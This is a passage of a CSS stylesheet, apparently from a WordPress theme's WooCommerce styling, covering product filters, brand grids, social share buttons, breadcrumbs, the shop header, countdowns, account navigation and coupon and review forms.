	filter: grayscale(0);
}
.brands-hover-alt .brand-item img {
	transition: filter .3s ease,
	opacity .3s ease;
	opacity: .5;
	filter: grayscale(100%);
}
.brands-hover-alt .brand-item:hover img {
	opacity: 1;
	filter: grayscale(0);
}
.penci-custom-row {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
}
.penci-custom-row .column-item {
	align-self: center;
}
.penci-custom-row.row-2 .column-item {
	flex: 0 0 auto;
	width: 50%;
}
.penci-custom-row.row-3 .column-item {
	flex: 0 0 auto;
	width: 33.3333333333%;
}
.penci-custom-row.row-4 .column-item {
	flex: 0 0 auto;
	width: 25%;
}
.penci-custom-row.row-5 .column-item {
	flex: 0 0 auto;
	width: 20%;
}
.penci-custom-row.row-5 .column-item {
	flex: 0 0 auto;
	width: 16.6666666667%;
}
/* Filter */
.penci-product-filters {
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	margin-right: -5px;
	margin-left: -5px
}
.penci-product-filters .penci-pf-checkboxes {
	flex: 1 1 200px;
	width: 0
}
.penci-product-filters > div {
	margin-bottom: 10px;
	padding-right: 5px;
	padding-left: 5px
}
.penci-pf-btn button {
	font-weight: bold;
	padding: 13px 15px;
	color: var(--pcwp_tt_cl);
	border: 0;
	background-color: var(--pcwp_btn_bg_cl);
	transition: all 0.3s ease-in-out;
}
.penci-pf-btn button:hover {
	color: white;
	background-color: var(--pcwp_btn_bg_hv_cl);
}
.penci-pf-btn button:active {
	bottom: var(--pcwp_btn_bg_hv_cl);
	box-shadow: var(--pcwp_tt_cl);
}
.penci-pf-checkboxes {
	position: relative
}
.penci-pf-title {
	line-height: 1;
	position: relative;
	display: flex;
	align-items: center;
	flex-direction: row;
	height: 40px;
	padding-right: 40px;
	padding-left: 15px;
	cursor: pointer;
	user-select: none;
	transition: border-color .5s ease;
	color: #333;
	border: 1px solid var(--pcpage_gbdr_cl);
}
.penci-pf-title .title-text {
	font-size: 12px;
	font-weight: 600;
	flex: 1 0 auto;
	text-transform: uppercase;
}
.penci-pf-title:after {
	font-family: "penciicon";
	font-size: 12px;
	position: absolute;
	top: 50%;
	right: 15px;
	content: "\f11e";
	transition: transform .2s ease;
	color: #B7B7B7;
	backface-visibility: hidden;
	-webkit-backface-visibility: hidden;
	font-size: 12px;
	transform: translatey(-47%);
}
.penci-pf-title:hover {
	border-color: rgba(129, 129, 129, 0.3)
}
.opened .penci-pf-title:after {
	transform: rotate(-180deg)
}
.penci-product-filters.color-scheme-light .penci-pf-title {
	color: var(--pcbg-cl);
	border-color: rgba(255, 255, 255, 0.15);
}
.penci-product-filters.color-scheme-light .penci-pf-title:after {
	color: rgba(255, 255, 255, 0.8)
}
.penci-product-filters.color-scheme-light .penci-pf-title:hover {
	border-color: rgba(255, 255, 255, 0.4)
}
.penci-pf-results {
	line-height: 1;
	overflow: hidden;
	white-space: nowrap;
}
.woocommerce ul.penci-pf-results li {
	font-size: 12px;
	font-weight: 600;
	position: relative;
	display: inline-block;
	margin-left: 5px;
	margin-bottom: 0;
	padding: 4px 8px;
	transition: all .25s ease;
	color: #333;
	background-color: #F1F1F1;
}
.woocommerce ul.penci-pf-results li:after {
	font-family: "penciicon", serif;
	font-size: 8px;
	position: absolute;
	top: 50%;
	left: 7px;
	margin-top: -6px;
	content: "\f110";
	transition: all 0.3s ease-in-out;
	opacity: 0;
}
.woocommerce ul.penci-pf-results li:hover {
	padding-left: 20px
}
.woocommerce ul.penci-pf-results li:hover:after {
	opacity: 1
}
.penci-pf-dropdown {
	position: absolute;
	z-index: 300;
	top: 100%;
	right: 0;
	left: 0;
	display: none;
	overflow: hidden;
	width: auto;
	height: auto;
	margin: 0 5px;
	background-color: #FFF;
	box-shadow: 0 0 3px rgba(0, 0, 0, 0.15)
}
.penci-pf-dropdown .pf-value {
	font-size: 14px;
	line-height: 20px;
	display: flex;
	align-items: center;
	flex-direction: row;
	padding: 8px 18px;
	cursor: pointer;
	transition: all .25s ease;
	color: #777;
}
.penci-product-filters ul.penci-pf-results,
.penci-product-filters .penci-pf-dropdown ul {
	margin: 0;
	padding: 0;
	list-style: none;
}
.penci-pf-dropdown ul a:hover {
	text-decoration: none;
}
.penci-pf-dropdown .pf-value:hover {
	color: #777;
	background-color: #F9F9F9;
}
.penci-pf-dropdown .pf-active > .pf-value {
	font-weight: 600;
	color: #333;
}
.penci-pf-dropdown .swatches-brands .filter-swatch span {
	border: none !important;
	border-radius: 0;
}
.penci-pf-dropdown .swatches-brands:not(.show-labels-off) .filter-swatch span:after {
	content: none
}
.penci-pf-dropdown .swatches-brands.show-labels-off .filter-swatch span:after {
	color: #2d2a2a;
	border-radius: 0;
	background-color: rgba(255, 255, 255, 0.6);
}
.penci-pf-dropdown .show-labels-off {
	padding: 10px
}
.penci-pf-dropdown .show-labels-off .filter-swatch {
	margin-right: 0
}
.penci-pf-dropdown .show-labels-off li {
	display: inline-block
}
.penci-pf-dropdown .show-labels-off .pf-value:hover {
	background-color: transparent !important
}
.penci-pf-dropdown .show-labels-off .swatch-inner {
	margin: 6px;
	padding: 0
}
.penci-pf-dropdown .show-labels-off li:not(.with-swatch-text) .layer-term-name {
	display: none
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown {
	background-color: #101010
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .pf-value {
	color: rgba(255, 255, 255, 0.8)
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .pf-value:hover {
	color: rgba(255, 255, 255, 0.8);
	background-color: rgba(255, 255, 255, 0.08);
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .pf-active > .pf-value {
	color: var(--pcbg-cl)
}
.penci-product-filters.color-scheme-light .penci-pf-dropdown .swatches-brands.show-labels-off .filter-swatch span:after {
	color: var(--pcbg-cl);
	background-color: rgba(0, 0, 0, 0.6);
}
.penci-pf-price-range .penci-pf-dropdown {
	padding: 20px
}
.penci-pf-price-range .ui-slider-horizontal {
	margin-bottom: 20px
}
.penci-pf-price-range .filter_price_slider_amount {
	margin-right: -20px;
	margin-bottom: -20px;
	margin-left: -20px;
	padding: 6px 20px;
	text-align: center;
	border-top: 1px solid rgba(119, 119, 119, 0.2);
	background-color: #F9F9F9;
}
.penci-pf-price-range .price_label {
	font-size: 14px;
	font-weight: 600;
	color: #2d2a2a;
}
.penci-pf-price-range .price_label .from:after {
	margin-right: 10px;
	margin-left: 10px;
	content: "-";
}
.penci-product-filters.color-scheme-light .penci-pf-price-range .filter_price_slider_amount {
	background-color: rgba(0, 0, 0, 0.3)
}
.penci-product-filters.color-scheme-light .penci-pf-price-range .price_label {
	color: var(--pcbg-cl);
}
.penci-pf-categories .children .pf-value {
	padding-left: 35px
}
.penci-pf-categories .children .children .pf-value {
	padding-left: 55px
}
.woocommerce table.shop_table thead tr th {
	border-width: 2px;
}
.woocommerce table.shop_table a.remove {
	font-size: 0;
	border: 0;
}
.woocommerce table.shop_table a.remove:before {
	font-family: penciicon;
	font-size: 8px;
	content: '\f110';
	transition: opacity .3s ease-in-out;
	opacity: .8;
	color: black;
}
.woocommerce table.shop_table a.remove:hover:before {
	opacity: 1;
}
.single-product-share {
	position: relative;
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	margin-top: 15px;
}
.single-product-share .share-title {
	font-weight: bold;
	margin-right: 5px;
}
.single-product-share a {
	display: inline-flex;
	align-items: center;
	justify-content: center;
	width: 36px;
	height: 36px;
	margin-right: 12px;
	transition: all 0.3s ease-in-out;
	color: var(--pctext-cl);
	border: 1px solid var(--pcpage_gbdr_cl);
	border-radius: 50%;
}
.penci-share-icon-style-square .single-product-share a {
	border-radius: 0;
}
.penci-share-style-3 .single-product-share a {
	border-color: #eee;
	background-color: #eee;
}
.penci-share-style-3 .single-product-share a:hover {
	color: var(--pcbg-cl);
}
.penci-share-style-4 .single-product-share a {
	width: auto;
	height: auto;
	border: 0;
	margin-right: 10px;
}
.penci-share-style-4 .single-product-share a:last-child {
	margin-right: 0;
}
.single-product-share a:hover {
	color: var(--pcbg-cl);
}
.penci-share-style-4 .single-product-share a:hover {
	color: var(--pcaccent-cl);
}
.penci-share-style-2 .single-product-share a,
.penci-share-style-3 .single-product-share a:hover {
	color: var(--pcbg-cl);
	border: 0;
}
.penci-share-style-2 .single-product-share a:hover {
	opacity: 0.85;
}
.single-product-share a:last-child {
	margin-right: 0;
}
.single-product-share .dt-share {
	display: none;
}
.penci-product-brands .penci-product-brand a {
	display: inline-block;
	max-width: 100px;
	margin: 0 0 15px;
	padding: 5px;
	border: 1px solid var(--pcpage_gbdr_cl);
}
.penci-product-brands .penci-product-brand .brand-title {
	display: none;
}
.penci-product-brands .penci-product-brand a {
	display: block;
}
.product_meta .penci-product-brands .penci-product-brand {
	display: flex;
	align-items: center;
}
.penci-summary-align-center .product_meta .penci-product-brands .penci-product-brand {
	justify-content: center;
}
.product_meta .penci-product-brands .penci-product-brand a,
.product_meta .penci-product-brands .penci-product-brand .brand-title {
	display: inline-flex;
}
.product_meta .penci-product-brands .penci-product-brand a {
	margin-left: 10px;
	margin-bottom: 0;
}
.product_meta .penci-product-brands .penci-product-brand .brand-title {
	font-weight: bold;
	color: var(--pcheading-cl);
}
#add_payment_method #payment ul.payment_methods li,
.woocommerce-cart #payment ul.payment_methods li,
.woocommerce-checkout #payment ul.payment_methods li {
	margin-bottom: 15px;
	padding-bottom: 15px;
	cursor: pointer;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
#add_payment_method #payment ul.payment_methods li:last-child,
.woocommerce-cart #payment ul.payment_methods li:last-child,
.woocommerce-checkout #payment ul.payment_methods li:last-child {
	margin-bottom: 0 !important;
}
.woocommerce .penci_woo_pages_breadcrumbs {
	display: flex;
	flex: 1 1 100%;
	justify-content: center;
	margin-bottom: 60px;
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci_woo_pages_breadcrumbs {
		text-align: center;
		margin-bottom: 30px;
	}
}
.woocommerce .penci_woo_pages_breadcrumbs ul {
	margin: 0;
	padding: 0;
	list-style: none;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li {
	display: inline-block;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li:after {
	font-family: penciicon !important;
	display: inline-block;
	margin: 0 15px;
	content: "\f11a";
	font-size: 80%;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li:last-child:after {
	display: none;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li span,
.woocommerce .penci_woo_pages_breadcrumbs ul li a {
	font-size: 18px;
	font-weight: bold;
	text-decoration: none;
	color: var(--pctext-cl);
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci_woo_pages_breadcrumbs ul li span,
	.woocommerce .penci_woo_pages_breadcrumbs ul li a {
		font-size: 14px;
	}
	.woocommerce .penci_woo_pages_breadcrumbs ul li:after {
		margin: 0 5px;
	}
}
.woocommerce .penci_woo_pages_breadcrumbs ul li.inactive {
	opacity: .5;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li a:hover {
	color: var(--pcaccent-cl);
}
.header-header-ecommerce .main-nav-social {
	margin-right: 0;
	padding-right: 0;
	border-right: 0;
}
.header-header-ecommerce .header-middle-content {
	padding: 20px 0;
}
.header-header-ecommerce #logo {
	text-align: left;
}
.header-header-ecommerce #logo img {
	width: auto;
	max-width: 100%;
	height: auto;
	max-height: 35px;
}
.header-header-ecommerce .is-sticky #navigation.header-layout-bottom {
	border: 0;
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.header-header-ecommerce #logo img {
		max-width: 100%;
	}
}
.header-header-ecommerce #navigation .container {
	display: block;
}
.header-header-ecommerce .main-nav-wrapper,
.header-header-ecommerce .sub-nav-wrapper,
.header-header-ecommerce .header-middle-content .penci-wrap {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
.header-header-ecommerce .main-nav-wrapper > div,
.header-header-ecommerce .sub-nav-wrapper > div,
.header-header-ecommerce .header-middle-content .penci-wrap > div {
	align-self: center;
	padding-right: 15px;
	padding-left: 15px;
}
.header-header-ecommerce #navigation .sub-nav-wrapper > ul.menu {
	overflow: hidden;
	overflow-x: auto;
	align-self: center;
	padding-right: 15px;
	padding-left: 15px;
	white-space: nowrap;
}
.header-header-ecommerce #navigation .sub-nav-wrapper > ul.menu > li {
	float: none;
}
.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-logo {
	flex: 0 0 auto;
	width: 25%;
}
.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-search {
	flex: 0 0 auto;
	width: 55%;
}
.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-tools {
	flex: 0 0 auto;
	width: 20%;
}
.penci-header-shop-tools {
	font-size: 13px;
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: flex-end;
}
.penci-header-shop-tools .top-search-classes.shoping-cart-icon {
	float: none;
	margin-right: 0;
}
.penci-header-shop-tools .pcshop-login-btn {
	font-family: var(--pchd_mn_font);
}
.penci-header-shop-tools .pcshop-login-btn img.avatar {
	margin-right: 5px;
	border-radius: 50%;
}
.penci-header-shop-tools .pcshop-login-btn li {
	position: relative;
}
.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a {
	display: flex;
	align-items: center;
}
.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span {
	margin: 0;
}
.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span:first-child:after {
	display: inline-block;
	margin: 0 2px;
	content: '/';
}
@media only screen and (max-width: 767px) {
	.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a > i {
		font-size: 28px;
		opacity: .5;
	}
	.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span {
		display: block;
	}
	.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span:first-child:after {
		display: none;
	}
}
.penci-header-shop-tools .pcshop-login-btn li a {
	color: var(--pcheading-cl);
}
.penci-header-shop-tools .pcshop-login-btn li ul {
	position: absolute;
	z-index: 9;
	top: 100%;
	left: 0;
	visibility: hidden;
	width: 170px;
	margin-top: 10px;
	padding: 10px;
	transition: 0.3s all ease-in-out;
	opacity: 0;
	border: 1px solid var(--pcborder-cl);
	background-color: var(--pcbg-cl);
}
.penci-header-shop-tools .pclogin-item.login.login-popup {
	font-weight: bold;
}
.penci-header-shop-tools .pcshop-login-btn li:hover ul {
	visibility: visible;
	opacity: 1;
}
.penci-header-shop-tools .pcshop-login-btn li ul li {
	margin-bottom: 10px;
	padding-bottom: 10px;
	border-bottom: 1px solid var(--pcborder-cl);
}
.penci-header-shop-tools .pcshop-login-btn li ul li i {
	display: inline-block;
	margin-right: 5px;
}
.penci-header-shop-tools .pcshop-login-btn li ul li:last-child {
	margin-bottom: 0;
	padding-bottom: 0;
	border-bottom: 0;
}
.header-header-ecommerce .penci-menu-wrap {
	flex: 0 0 auto;
	width: 82%;
}
.header-header-ecommerce .penci-header-extra {
	flex: 0 0 auto;
	width: 18%;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu {
	flex: 0 0 auto;
	width: 30%;
}
.header-header-ecommerce .sub-nav-wrapper > .menu {
	flex: 0 0 auto;
	width: 70%;
}
.header-header-ecommerce .vertical-shop-menu-title-wrapper {
	font-family: var(--pchd_mn_font);
	padding: 0 20px;
	text-align: left;
	color: #fff;
	background-color: #000;
}
.header-header-ecommerce .vertical-shop-menu-title-wrapper i {
	display: inline-block;
	margin-right: 10px;
}
.header-header-ecommerce .vertical-shop-menu-title {
	font-size: 15px;
	font-weight: bold;
	line-height: 58px;
}
.header-header-ecommerce .penci-vertical-shop-menu {
	position: absolute;
	top: calc(100%);
	right: 0;
	left: 0;
}
.header-header-ecommerce .vertical-shop-menu.close .penci-vertical-shop-menu,
.header-header-ecommerce .is-sticky .penci-vertical-shop-menu {
	display: none;
}
.header-header-ecommerce .vertical-shop-menu.close li:hover .penci-vertical-shop-menu,
.header-header-ecommerce .is-sticky li:hover .penci-vertical-shop-menu {
	display: block;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul.menu-shop {
	width: 23%;
	text-align: left;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li {
	display: block;
	float: none;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li.penci-mega-menu > a:after {
	font-family: FontAwesome, serif;
	float: right;
	content: '\f107';
	transform: rotate(-90deg);
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li > a {
	font-family: var(--pchd_mn_font);
	font-size: 12px;
	font-weight: var(--pchd_mn_font_w);
	position: relative;
	z-index: 99;
	display: block;
	padding: 15px;
	text-transform: uppercase;
	color: var(--pcheading-cl);
	border: 1px solid #ececec;
	border-top: 0;
	background-color: var(--pcbg-cl);
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li > a:hover {
	background-color: #f9f9f9;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li a:hover {
	color: #000;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul.sub-menu,
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul.sub-menu > li {
	margin: 0;
	padding: 0;
	border: 0;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul.sub-menu {
	position: absolute;
	z-index: 9999;
	top: 0;
	right: 0;
	bottom: 0;
	display: block;
	visibility: hidden;
	width: calc(77%);
	transition: all 0.3s ease-in-out;
	-moz-transform: translate(0, 15px);
	-ms-transform: translate(0, 15px);
	-o-transform: translate(0, 15px);
	-webkit-transform: translate(0, 15px);
	transform: translate(0, 15px);
	opacity: 0;
	background-color: var(--pcbg-cl);
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu li.penci-mega-menu:hover > ul.sub-menu {
	visibility: visible;
	-moz-transform: translate(0, 0);
	-ms-transform: translate(0, 0);
	-o-transform: translate(0, 0);
	-webkit-transform: translate(0, 0);
	transform: translate(0, 0);
	opacity: 1;
}
.woocommerce-notices-wrapper {
	flex: 100%;
	margin-top: 30px;
}
.woocommerce-notices-wrapper:empty {
	display: none;
}
.penci-search-cat {
	font-family: var(--pchd_mn_font);
	font-size: 13px;
	position: relative;
	display: flex;
	align-items: center;
	width: 35%;
	height: 45px;
	padding: 0 20px;
	border-left: 1px solid var(--pcborder-cl);
}
.penci-search-cat:after {
	font-family: "penciicon";
	font-size: 12px;
	position: absolute;
	top: 0;
	right: 10px;
	bottom: 0;
	display: flex;
	align-items: center;
	content: "\f11c";
}
.penci-search-cat > a {
	color: var(--pchead-font);
}
.penci-search-cat .penci-dropdown {
	position: absolute;
	z-index: 99;
	top: 100%;
	left: -1px;
	visibility: hidden;
	overflow: hidden;
	overflow-y: auto;
	width: 240px;
	max-height: 390px;
	opacity: 0;
}
.penci-search-cat:hover .penci-dropdown {
	visibility: visible;
	opacity: 1;
}
.penci-search-cat .penci-dropdown ul {
	border: 1px solid var(--pcborder-cl);
}
.penci-search-cat .penci-dropdown ul ul {
	border: 0;
}
.penci-search-cat .penci-dropdown ul li a {
	display: block;
	padding: 10px 20px;
	color: var(--pcheading-cl);
	background-color: var(--pcbg-cl);
}
.header-header-ecommerce #navigation.menu-item-padding .menu > li.current-menu-item > a,
.header-header-ecommerce #navigation.menu-item-padding .menu > li.current_page_item > a {
	color: var(--pcaccent-cl);
	background-color: transparent;
}
.header-header-ecommerce #navigation.menu-item-padding .menu > li > a:hover,
.header-header-ecommerce #navigation.menu-item-padding .menu > li:hover > a {
	color: var(--pcaccent-cl);
	background-color: transparent;
}
@media only screen and (max-width: 960px) {
	.header-header-ecommerce .penci-menu-wrap,
	.header-header-ecommerce .penci-header-shop-search {
		display: none;
	}
	.header-header-ecommerce .penci-header-extra {
		width: 80%;
	}
	.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-logo,
	.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-tools {
		width: 50%;
	}
	.header-header-ecommerce .header-middle-content .penci-wrap,
	.header-header-ecommerce .main-nav-wrapper {
		justify-content: space-between;
		padding-right: 15px;
		padding-left: 15px;
	}
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		width: 170px;
		min-width: unset;
	}
}
@media only screen and (min-width: 768px) and (max-width: 1170px) {
	.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu {
		width: 35%;
	}
	.header-header-ecommerce .sub-nav-wrapper > .menu {
		width: 65%;
	}
}
@media only screen and (max-width: 767px ) {
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		width: 100%;
	}
	body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table td {
		padding-right: 15px;
	}
}
.header-countdown {
	position: relative;
	margin-bottom: 30px;
}
.header-countdown .ends-text {
	display: inline-block;
	letter-spacing: 0.05rem;
	text-transform: uppercase;
}
.header-countdown .penci-product-countdown {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin: 0 -5px;
}
.header-countdown .penci-product-countdown > span {
	font-size: 20px;
	font-weight: bold;
	line-height: 1;
	display: block;
	margin: 0 5px;
	padding: 10px;
	text-align: center;
	border: 1px solid #ececec;
}
.countdown-style-round .header-countdown .penci-product-countdown > span {
	display: flex;
	align-items: center;
	flex-direction: column;
	flex-wrap: wrap;
	justify-content: center;
	min-width: 75px;
	min-height: 75px;
	border-radius: 50%;
}
.header-countdown .penci-product-countdown > span > span {
	font-size: 12px;
	font-weight: normal;
	display: block;
	text-transform: uppercase;
}
.penci-deal-footer-link {
	margin-top: 60px;
	text-align: center;
}
nav.woocommerce-MyAccount-navigation ul {
	margin: 0;
	padding: 0;
	list-style: none;
}
@media only screen and (min-width: 960px) {
	nav.woocommerce-MyAccount-navigation ul {
		margin-right: 30px;
		padding-right: 60px;
		border-right: 1px solid var(--pcborder-cl);
	}
}
nav.woocommerce-MyAccount-navigation ul li {
	list-style: none;
}
nav.woocommerce-MyAccount-navigation ul li a {
	font-weight: bold;
	display: block;
	margin-bottom: 15px;
	padding-bottom: 15px;
	color: var(--pcheading-cl);
	border-bottom: 1px solid var(--pcborder-cl);
}
nav.woocommerce-MyAccount-navigation ul li.is-active a,
nav.woocommerce-MyAccount-navigation ul li a:hover {
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.woocommerce .woocommerce-MyAccount-content .button,
.woocommerce .woocommerce-MyAccount-content button {
	margin-top: 0;
	padding-right: 30px;
	padding-left: 30px;
}
.woocommerce .woocommerce-MyAccount-content button:hover {
	color: #fff;
}
/* hover color default*/
.penci-share-style-1 .single-product-share a.post-share-facebook:hover {
	border-color: #0d47a1;
}
.penci-share-style-1 .single-product-share a.post-share-twitter:hover {
	border-color: #40c4ff;
}
.penci-share-style-1 .single-product-share a.post-share-pinterest:hover {
	border-color: #bd081c;
}
.penci-share-style-1 .single-product-share a.post-share-linkedin:hover {
	border-color: #0077b5;
}
.penci-share-style-1 .single-product-share a.post-share-tumblr:hover {
	border-color: #34465d;
}
.penci-share-style-1 .single-product-share a.post-share-email:hover {
	border-color: #0084ff;
}
.penci-share-style-1 .single-product-share a.post-share-vk:hover {
	border-color: #5181b8;
}
.penci-share-style-1 .single-product-share a.post-share-pocket:hover {
	border-color: #ef4056;
}
.penci-share-style-1 .single-product-share a.post-share-skype:hover {
	border-color: #00aff0;
}
.penci-share-style-1 .single-product-share a.post-share-whatsapp:hover {
	border-color: #00E676;
}
.penci-social-colored a i.fa-heart-o {
	border-color: #000;
}
.penci-share-style-1 .single-product-share a.post-share-telegram:hover {
	border-color: #289FD9;
}
.penci-share-style-1 .single-product-share a.post-share-reddit:hover {
	border-color: #F74300;
}
.penci-share-style-1 .single-product-share a.post-share-ok:hover {
	border-color: #F18F00;
}
.penci-share-style-1 .single-product-share a.post-share-stumbleupon:hover {
	border-color: #EB4823;
}
.penci-share-style-1 .single-product-share a.post-share-viber:hover {
	border-color: #7d51a0;
}
/* end*/
.penci-share-style-2 .single-product-share a.post-share-facebook,
.penci-share-style-3 .single-product-share a.post-share-facebook:hover,
.penci-share-style-1 .single-product-share a.post-share-facebook:hover {
	background: #0d47a1;
}
.penci-share-style-2 .single-product-share a.post-share-twitter,
.penci-share-style-3 .single-product-share a.post-share-twitter:hover,
.penci-share-style-1 .single-product-share a.post-share-twitter:hover {
	background: #40c4ff;
}
.penci-share-style-2 .single-product-share a.post-share-pinterest,
.penci-share-style-3 .single-product-share a.post-share-pinterest:hover,
.penci-share-style-1 .single-product-share a.post-share-pinterest:hover {
	background: #bd081c;
}
.penci-share-style-2 .single-product-share a.post-share-linkedin,
.penci-share-style-3 .single-product-share a.post-share-linkedin:hover,
.penci-share-style-1 .single-product-share a.post-share-linkedin:hover {
	background: #0077b5;
}
.penci-share-style-2 .single-product-share a.post-share-tumblr,
.penci-share-style-3 .single-product-share a.post-share-tumblr:hover,
.penci-share-style-1 .single-product-share a.post-share-tumblr:hover {
	background: #34465d;
}
.penci-share-style-2 .single-product-share a.post-share-email,
.penci-share-style-3 .single-product-share a.post-share-email:hover,
.penci-share-style-1 .single-product-share a.post-share-email:hover {
	background: #0084ff;
}
.penci-share-style-2 .single-product-share a.post-share-vk,
.penci-share-style-3 .single-product-share a.post-share-vk:hover,
.penci-share-style-1 .single-product-share a.post-share-vk:hover {
	background: #5181b8;
}
.penci-share-style-2 .single-product-share a.post-share-pocket,
.penci-share-style-3 .single-product-share a.post-share-pocket:hover,
.penci-share-style-1 .single-product-share a.post-share-pocket:hover {
	background: #ef4056;
}
.penci-share-style-2 .single-product-share a.post-share-skype,
.penci-share-style-3 .single-product-share a.post-share-skype:hover,
.penci-share-style-1 .single-product-share a.post-share-skype:hover {
	background: #00aff0;
}
.penci-share-style-2 .single-product-share a.post-share-whatsapp,
.penci-share-style-3 .single-product-share a.post-share-whatsapp:hover,
.penci-share-style-1 .single-product-share a.post-share-whatsapp:hover {
	background: #00E676;
}
.penci-social-colored a i.fa-heart-o {
	background: #000;
}
.penci-share-style-2 .single-product-share a.post-share-telegram,
.penci-share-style-3 .single-product-share a.post-share-telegram:hover,
.penci-share-style-1 .single-product-share a.post-share-telegram:hover {
	background: #289FD9;
}
.penci-share-style-2 .single-product-share a.post-share-reddit,
.penci-share-style-3 .single-product-share a.post-share-reddit:hover,
.penci-share-style-1 .single-product-share a.post-share-reddit:hover {
	background: #F74300;
}
.penci-share-style-2 .single-product-share a.post-share-ok,
.penci-share-style-3 .single-product-share a.post-share-ok:hover,
.penci-share-style-1 .single-product-share a.post-share-ok:hover {
	background: #F18F00;
}
.penci-share-style-2 .single-product-share a.post-share-stumbleupon,
.penci-share-style-3 .single-product-share a.post-share-stumbleupon:hover,
.penci-share-style-1 .single-product-share a.post-share-stumbleupon:hover {
	background: #EB4823;
}
.penci-share-style-2 .single-product-share a.post-share-viber,
.penci-share-style-3 .single-product-share a.post-share-viber:hover,
.penci-share-style-1 .single-product-share a.post-share-viber:hover {
	background: #7d51a0;
}
.woocommerce #review_form_wrapper form .required {
	color: red;
}
.woocommerce #review_form_wrapper form .comment-form-rating {
	display: flex;
	margin-bottom: 0;
}
.woocommerce #review_form #respond p.stars,
.woocommerce #review_form_wrapper form .comment-form-rating label,
.woocommerce #review_form_wrapper form .comment-form-rating p.stars {
	display: inline-block;
	margin-bottom: 0;
	vertical-align: middle;
}
.woocommerce #review_form #respond p.stars > span {
	display: inline-block;
	padding: 5px 0 0 15px;
	vertical-align: middle;
}
@media only screen and (min-width: 960px) {
	.woocommerce div.product .woocommerce-tabs .panel #review_form #respond p.comment-form-email,
	.woocommerce div.product .woocommerce-accordion-item #respond p.comment-form-email,
	.woocommerce div.product .woocommerce-tabs .panel #review_form #respond p.comment-form-author,
	.woocommerce div.product .woocommerce-accordion-item #respond p.comment-form-author {
		float: left;
		width: 48%;
		margin-right: 0;
		margin-left: 0;
	}
	.woocommerce div.product .woocommerce-tabs .panel #review_form #respond p.comment-form-author,
	.woocommerce div.product .woocommerce-accordion-item #review_form #respond p.comment-form-author {
		float: right;
		margin-right: 0;
	}
	.woocommerce-form-coupon-toggle,
	form.checkout_coupon.woocommerce-form-coupon {
		max-width: calc(60% - 12px);
		margin-right: auto;
		margin-left: auto;
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row {
		width: 49%;
	}
	form.checkout_coupon.woocommerce-form-coupon p {
		text-align: center;
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-first {
		width: 65%;
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-last {
		width: 32%;
	}
	form.checkout_coupon.woocommerce-form-coupon .button {
		display: block;
		width: 100%;
	}
}
@media only screen and (max-width: 960px) {
	.woocommerce-form-coupon-toggle,
	form.checkout_coupon.woocommerce-form-coupon {
		max-width: calc(50% - 12px);
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-first,
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-last {
		width: 100%;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce-form-coupon-toggle,
	form.checkout_coupon.woocommerce-form-coupon {
		width: 100%;
		max-width: 100%;
	}
	body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner {
		padding: 20px;
	}
	h3#order_review_heading {
		padding: 15px 0;
		text-align: center;
	}
}
.penci-active-filters ul {
	margin-bottom: 30px;
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li {
	padding-right: 10px;
	margin-right: 10px;
	border-right: 1px solid var(--pcborder-cl);
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li:last-child {
	padding-right: 0;
	margin-right: 0;
	border-right: 0;
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li a:hover {
	color: var(--pctext-cl);
}
